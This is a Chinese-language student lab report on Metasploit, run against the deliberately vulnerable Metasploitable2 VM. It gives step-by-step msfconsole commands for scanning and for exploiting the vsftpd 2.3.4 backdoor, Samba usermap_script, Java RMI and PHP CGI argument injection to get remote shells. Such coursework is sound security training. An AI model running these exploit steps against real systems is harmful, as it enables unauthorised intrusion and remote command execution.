一、实验内容
本实践目标是掌握metasploit的用法。
、指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容:
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)。
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
二、实验过程
(1)前期渗透
攻击机IP:
靶机IP:192.168.58.165
1.主机发现
进入kali虚拟机,输入如下指令:
msfconsol打开Metasploit
search arp_sweep进行搜索
use 0
options
设置目标IP:set rhosts 192.168.58.165 输入run实施扫描:
可见,成功扫描到靶机
2.端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
本次实验使用的是Aux中的portscan/tcp,依次输入如下指令:
search portscan/tcp
use 0
show options
接着输入:
set rhosts 192.168.58.165
run
进行端口扫描
3.扫描目标HTTP服务器的HTTP版本信息
输入指令如下:
search auxiliary/scanner/http/http_version
use 0
show options
show missings:
set rhosts 192.168.58.165
run
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
输入代码如下:
use exploit/unix/ftp/vsftpd_234_backdoor
use 0
set rhosts 192.168.58.165
run
成功执行
接着输入:uname –a、 pwd、 id进行验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令
输入如下命令:
use exploit/multi/samba/usermap_script
use 0
set rhosts 192.168.58.165
exploit
利用成功,输入uname -a进行验证:
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
输入命令:nmap -sS -sV -n 192.168.58.165查看1099端口是否打开:
可以看到,端口开放
输入如下指令:
search exploit/multi/misc/java_rmi_server
use 0
options
set rhosts 192.168.58.165
run
成功运行,接着输入:
sessions -i id
sessions -i 1
shell
输入ifconfig进行查看:
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
输入指令如下:
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST 192.168.58.165
run 开始攻击
sessions -i 2
shell
info
三、问题及解决方案
步骤(3)输入uname -a进行验证时需带有空格,输入uname-a无法进行验证
四、学习感悟、思考等
本次实验相对简单,通过此次实验,我掌握了使用Metasploit进行主机发现、端口扫描、操作系统扫描以及针对某些特定漏洞进行攻击的方法。